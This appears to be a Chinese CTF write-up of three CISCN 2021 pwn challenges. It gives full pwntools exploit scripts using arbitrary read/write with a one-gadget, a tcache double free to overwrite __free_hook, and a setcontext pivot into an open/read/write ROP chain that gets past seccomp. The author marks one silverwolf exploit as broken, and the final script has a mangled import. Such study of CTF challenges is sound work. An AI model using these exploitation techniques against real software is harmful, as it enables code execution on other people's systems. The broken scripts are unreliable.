ciscn2021西北部分pwn

Posted mishixiaodai

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ciscn2021西北部分pwn相关的知识,希望对你有一定的参考价值。

打了一天的国赛,发现自己还是太菜了

pwny

读取随机数到bss段上作为文件描述符范围在0~0xff之间,又在自定义的函数sub_ba0中发现可以根据偏移进行任意写的操作,sub_b20可以根据偏移进行任意读操作,因此就可以覆盖fd的值,爆破fd使其等于0,我们就可以进行任意读写

我们可以通过泄露出bss段上的stdout指针指向的_IO_2_1_stdout_的地址来泄露libc的基地址,在通过泄露data段上的off_202008来泄露bss段上的地址,再通过libc上的environ来泄露栈地址。

因此就可以通过偏移将onegadget直接写入栈上的返回地址中,获得shell。

用爆破调试有点麻烦,发现可以修改二进制程序,将fd直接改成0再进行调试。

exp如下:
from pwn import *
io=process('./pwny')
#io=remote('124.70.20.79',22270)
elf=ELF('./pwny')
#libc=ELF('./libc-2.27.so')
libc=elf.libc
context(log_level='debug')
context.terminal=['tmux','splitw','-h']

def read():
    io.recvuntil('Your choice: ')
    io.send('1 ')
    io.recvuntil('Index: ')

def write(a1):
    io.recvuntil('Your choice: ')
    io.send('2 ')
    io.recvuntil('Index: ')
    #gdb.attach(io)
    io.send(str(a1)+' ')

def exp():
    write(256)
    gdb.attach(io)
    read()
    #io.send('-64\\n')
    io.send('\\xF8\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF\\xff')
    #gdb.attach(io)
    io.recvuntil('Result: ')
    stdout=int(io.recv(12),16)
    print(hex(stdout))
    libcbase = stdout-libc.symbols['_IO_2_1_stdout_']
    print(hex(libcbase))
    system=libcbase+libc.symbols['system']
    stderr=libcbase+libc.symbols['_IO_2_1_stderr_']
    binsh=libcbase+libc.search('/bin/sh').next()
    environ=libcbase+libc.symbols['_environ']
    onegadget=[0x4f3d5,0x4f432,0x10a41c]
    #onegadget=[0x4f365,0x4f3c2,0x10a45c]
    #offset=(environ-(bss_addr+0x60))//8
    #gdb.attach(io)
    read()
    io.send('\\xf5\\xff\\xff\\xff\\xff\\xff\\xff\\xff')
    io.recvuntil('Result: ')
    bss_addr=int(io.recv(12),16)-8
    print(hex(bss_addr))

    read()
    offset=(environ-(bss_addr+0x60))//8
    io.send(p64(offset))
    io.recvuntil('Result: ')
    stack=int(io.recv(12),16)
    print(hex(stack))


    ret_addr=stack-0x120
    offset=((ret_addr-(bss_addr+0x60))//8)

    write(offset)
    payload=p64(libcbase+onegadget[2])
    io.send(payload)
    io.interactive()
    #io.sendline()

#exp()
i=0
while(i!=100):
    try:
        #io=remote('124.70.20.79',22270)
        io=process('./pwny')
        i+=1
        exp()
    except:
        i+=1
        io.close()

lonelywolf

常规的菜单题
发现漏洞在dele中对free后的指针没有置0

通过doublefree泄露heap_base控制fd指针来控制tcache_struct,将0x250对应的counts改为\\xff在freetcache_struct来泄露libcbase的基地址,最后再通过doublefree修改fd指针为__free_hook-0x8(__free_hook-0x10前8个字节不知道为啥修改不了),在__free_hook-0x8出填上/bin/sh\\x00,在__free_hook填上system地址,dele(0),拿到shell。但在打远程的时候,发现报出了doublefree漏洞,将第一次free后的tcache的fd和bk指针置0,在free就行了。

exp如下:

from pwn import *
#io = process('./lonelywolf')
io=remote('124.70.20.79',22175)
#elf=ELF('./lonelywolf')
#libc=elf.libc
libc=ELF('./libc-2.271.so')
#context(log_level='debug')

def add(a1,a2):
    io.sendafter('Your choice: ','1 ')
    io.sendafter('Index: ',str(a1)+' ')
    io.sendafter('Size: ',str(a2)+' ')

def edit(a1,a2):
    io.sendafter('Your choice: ','2 ')
    io.sendafter('Index: ',str(a1)+' ')
    io.sendlineafter('Content: ',a2)

def show(a1):
    io.sendafter('Your choice: ','3 ')
    io.sendafter('Index: ',str(a1)+' ')

def dele(a1):
    io.sendafter('Your choice: ','4 ')
    io.sendafter('Index: ',str(a1)+' ')

def exp():
    add(0,96)#0 0x60
    dele(0)
    edit(0,p64(0)*2)
    dele(0)
    show(0)
    io.recvuntil('Content: ')
    #print(io.recv(6))
    heapbase=u64(io.recv(6).ljust(8,'\\x00'))-0x260
    #heapbase=int(io.recv(14),16)
    print(hex(heapbase))
    edit(0,p64(heapbase+0x10))
    add(0,96)
    #pause()
    add(0,96)#tcache
    edit(0,'\\x00'*0x20+'\\xff'*0x8)
    dele(0)
    #pause()
    show(0)
    io.recvuntil('Content: ')
    malloc_hook=u64(io.recvuntil('\\x7f')[-6:].ljust(8,'\\x00'))-96-16
    libcbase=malloc_hook-libc.symbols['__malloc_hook']
    print(hex(libcbase))
    free_hook=libcbase+libc.symbols['__free_hook']
    system=libcbase+libc.symbols['system']
    add(0,120)#0x30
    edit(0,'\\x00'*0x40)
    #pause()
    dele(0)
    edit(0,p64(0)*2)
    dele(0)
    edit(0,p64(free_hook-0x8)+p64(0))
    add(0,120)
    add(0,120)
    edit(0,'/bin/sh\\x00'+p64(system))
    pause()
    dele(0)
    io.interactive()


exp()

silverwolf

是个沙箱堆题,libc2.27,第一次做,发现程序逻辑和上个题一样,知识不能用system,但可以使用open、read、write。思路就是利用libc中的environ将chunk申请到栈上,再覆盖返回地址构造rop(这种思路实现起来有点困难,因为chunk可写的大小最大时0x78),但在调试时发现一进入open函数就报错,我猜测是因为libc中的open函数是open64,所以不能绕过沙箱,先放上我的错误exp(希望哪位大佬可以帮我调试下,帮帮我这个小菜鸡)(问题已解决,感谢 KANGEL12 师傅的提醒。),后续补上正确的exp。

from pwn import *
io = process('./silverwolf')
#io=remote('124.70.20.79',22220)
elf=ELF('./silverwolf')
libc=elf.libc
#libc=ELF('./libc-2.27.so')

context.terminal=['tmux','splitw','-h']
context(log_level='debug')
#pop_rdi=0x215bf
#pop_rsi=0x23ee
#pop_rdx=0x1b96
#pop_rdx_rsi=0x130569

pop_rax=0x43a78
pop_rdx_rsi=0x130889
pop_rdi=0x2155f
pop_rsi=0x23e8a
pop_rdx=0x1b96

def add(a1,a2):
    io.sendafter('Your choice: ','1 ')
    io.sendafter('Index: ',str(a1)+' ')
    io.sendafter('Size: ',str(a2)+' ')

def edit(a1,a2):
    io.sendafter('Your choice: ','2 ')
    io.sendafter('Index: ',str(a1)+' ')
    io.sendlineafter('Content: ',a2)

def show(a1):
    io.sendafter('Your choice: ','3 ')
    io.sendafter('Index: ',str(a1)+' ')

def dele(a1):
    io.sendafter('Your choice: ','4 ')
    io.sendafter('Index: ',str(a1)+' ')

def exp():
    add(0,80)#0 0x50
    dele(0)
    edit(0,p64(0)*2)
    dele(0)
    show(0)
    io.recvuntil('Content: ')
    #print(io.recv(6))
    heapbase=u64(io.recv(6).ljust(8,'\\x00'))-0x1880
    print(hex(heapbase))
    edit(0,p64(heapbase+0x10))
    add(0,80)
    #pause()
    add(0,88)#tcache
    edit(0,'\\x00'*6+'\\x01'+'\\x00'*(0x20-7)+'\\xff'*0x8+'\\x00'*0x2f)
    add(0,120)
    dele(0)
    edit(0,p64(heapbase+0x40))
    add(0,120)
    add(0,120)#tcache+0x40
    edit(0,'\\x00'*0x70)

    add(0,96)
    dele(0)
    edit(0,p64(0)*2)
    dele(0)
    edit(0,p64(heapbase+0x10))
    add(0,96)
    add(0,96)#tcache
    #pause()

    dele(0)
    #pause()
    show(0)
    io.recvuntil('Content: ')
    malloc_hook=u64(io.recvuntil('\\x7f')[-6:].ljust(8,'\\x00'))-96-16
    libcbase=malloc_hook-libc.symbols['__malloc_hook']
    print(hex(libcbase))
    free_hook=libcbase+libc.symbols['__free_hook']
    environ=libcbase+libc.symbols['environ']
    opens=libcbase+libc.symbols['open']
    reads=libcbase+libc.symbols['read']

    add(0,120)#0x78
    #pause()
    edit(0,'\\x00'*0x68+p64(environ))
    add(0,96)#environ
    show(0)
    io.recvuntil('Content: ')
	stack = u64(io.recvuntil('\\x7f')[-6:].ljust(8,'\\x00'))
    #print(hex(stack))
    #gdb.attach(io)
    #pause()
    add_stack=stack-0x120
    print(hex(add_stack))
    add(0,120)#0x78
    dele(0)
    #pause()
    edit(0,p64(0)*2)
    dele(0)
    edit(0,p64(add_stack))
    add(0,120)
    #pause()
    add(0,120)#stack
    show(0)
    #pause()
    io.recvuntil('Content: ')
    main=u64(io.recv(6).ljust(8,'\\x00'))+0x10
    print(hex(main))
   
    #open('./flag',0)
  
    orw=p64(pop_rdi+libcbase)+p64(add_stack+0x60)+p64(pop_rsi+libcbase)+p64(0)+p64(opens)
    #read(fd,buf,0x30)
    orw+=p64(pop_rdi+libcbase)+p64(3)+p64(pop_rdx_rsi+libcbase)+p64(0x30)+p64(heapbase+0x10)+p64(reads)+p64(main)+'./flag\\x00\\x00'
    #write(fd,buf,0x30)
    #orw+=p64(pop_rdi+libcbase)+p64(1)+p64(pop_rsi+libcbase)+p64(heapbase+0x10)+p64(pop_rdx+libcbase)+p64(0x30)+'./flag\\x00\\x00'
    print(len(orw))
    gdb.attach(io)
    edit(0,orw)

    add(0,80)
    dele(0)
    edit(0,p64(0)*2)
    dele(0)
    edit(0,p64(heapbase+0x10))
    add(0,80)
    add(0,80)
    #gdb.attach(io)
    #io.recvuntil('\\n',timeout=10000000)
    show(0)

exp()
                           

看了南邮师傅们的博客复现了一下,思路主要是,将rop写在堆上,用setcontext函数设置rsp的值也就是栈顶的地址,将栈转移到堆上,执行rop。

正确exp:

f-rom pwn import*
#context.terminal=['tmux','splitw','-h']

def menu(ch):
    p.sendlineafter('choice:',str(ch))
def add(size):
    menu(1)
    p.sendlineafter('Index:',str(0))
    p.sendlineafter('Size:',str(size))
def edit(content):
    menu(2)
    p.sendlineafter('Index:',str(0))
    p.sendlineafter('Content:',content)
def show():
    menu(3)
    p.sendlineafter('Index:',str(0))
def free():
    menu(4)
    p.sendlineafter('Index:',str(0))
#p = process('./silverwolf')
#elf = ELF('./silverwolf')
#libc = elf.libc
libc = ELF('./libc-2.27.so')

for i in range(7):
    add(0x78)
    edit('./flag\\x00')
#pause()
for i in range(2):
    edit('\\x00'*0x10)
    free()
show()
p.recvuntil('Content: ')
heap_base = u64(p.recv(6).ljust(8,'\\x00'))  - 0x5B0 - 0x940 - 0x70
log.info('HEAP:\\t' + hex(heap_base))
edit(p64(heap_base + 0x10))
add(0x78)
add(0x78)
edit('\\x00'*0x23 + '\\x07')
#pause()
free()
show()
libc_base = u64(p.recvuntil('\\x7F')[-6:].ljust(8,'\\x00')) - libc.sym['__malloc_hook'] - 0x70
log.info('LIBC:\\t' + hex(libc_base))

edit('\\x03'*0x40 + p64(libc_base + libc.sym['__free_hook']) + '\\x00'*8*1 + p64(heap_base + 0x4000) + p64(heap_base + 0x3000 + 0x60) + p64(heap_base + 0x1000) + p64(heap_base + 0x10A0) + p64(heap_base + 0x3000))
#pause()
add(0x18)

                                                                                        ########################
pop_rdi_ret = libc_base + 0x00000000000215BF
pop_rdx_ret = libc_base + 0x0000000000001B96
pop_rax_ret = libc_base + 0x0000000000043AE8
pop_rsi_ret = libc_base + 0x0000000000023EEA
ret = libc_base + 0x00000000000008AA
#pop_rax_ret=0x43a78 + libc_base
#pop_rdx_rsi=0x130889 + libc_base
#pop_rdi_ret=0x2155f + libc_base
#pop_rsi_ret=0x23e8a + libc_base
#pop_rdx_ret=0x1b96 + libc_base

Open = libc_base + libc.sym['open']
Read = libc_base + libc.sym['read']
Write = libc_base + libc.sym['write']
syscall = Read + 15
FLAG  = heap_base + 0x4000
gadget = libc_base + libc.sym['setcontext'] + 53

orw  = p64(pop_rdi_ret) + p64(FLAG)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(heap_base  + 0x3000)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(Read)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(Write)

                                                                                        #############################
#gdb.attach(p)
edit(p64(gadget))
add(0x38)
edit('./flag\\x00')
add(0x78)
edit(orw[:0x60])
add(0x48)
edit(orw[0x60:])
add(0x68)
edit(p64(heap_base + 0x3000) + p64(pop_rdi_ret + 1))
add(0x58)
gdb.attach(p)
free()
p.interactive()

以上是关于ciscn2021西北部分pwn的主要内容,如果未能解决你的问题,请参考以下文章

ciscn2021西北部分pwn

ciscn2021西北部分pwn

ciscn2021 西北分区赛部分pwn

ciscn2021 西北分区赛部分pwn

ciscn2021 西北分区赛部分pwn

&pwn1_sctf_2016 &ciscn_2019_n_1 &ciscn_2019_c_1 &ciscn_2019_en_2&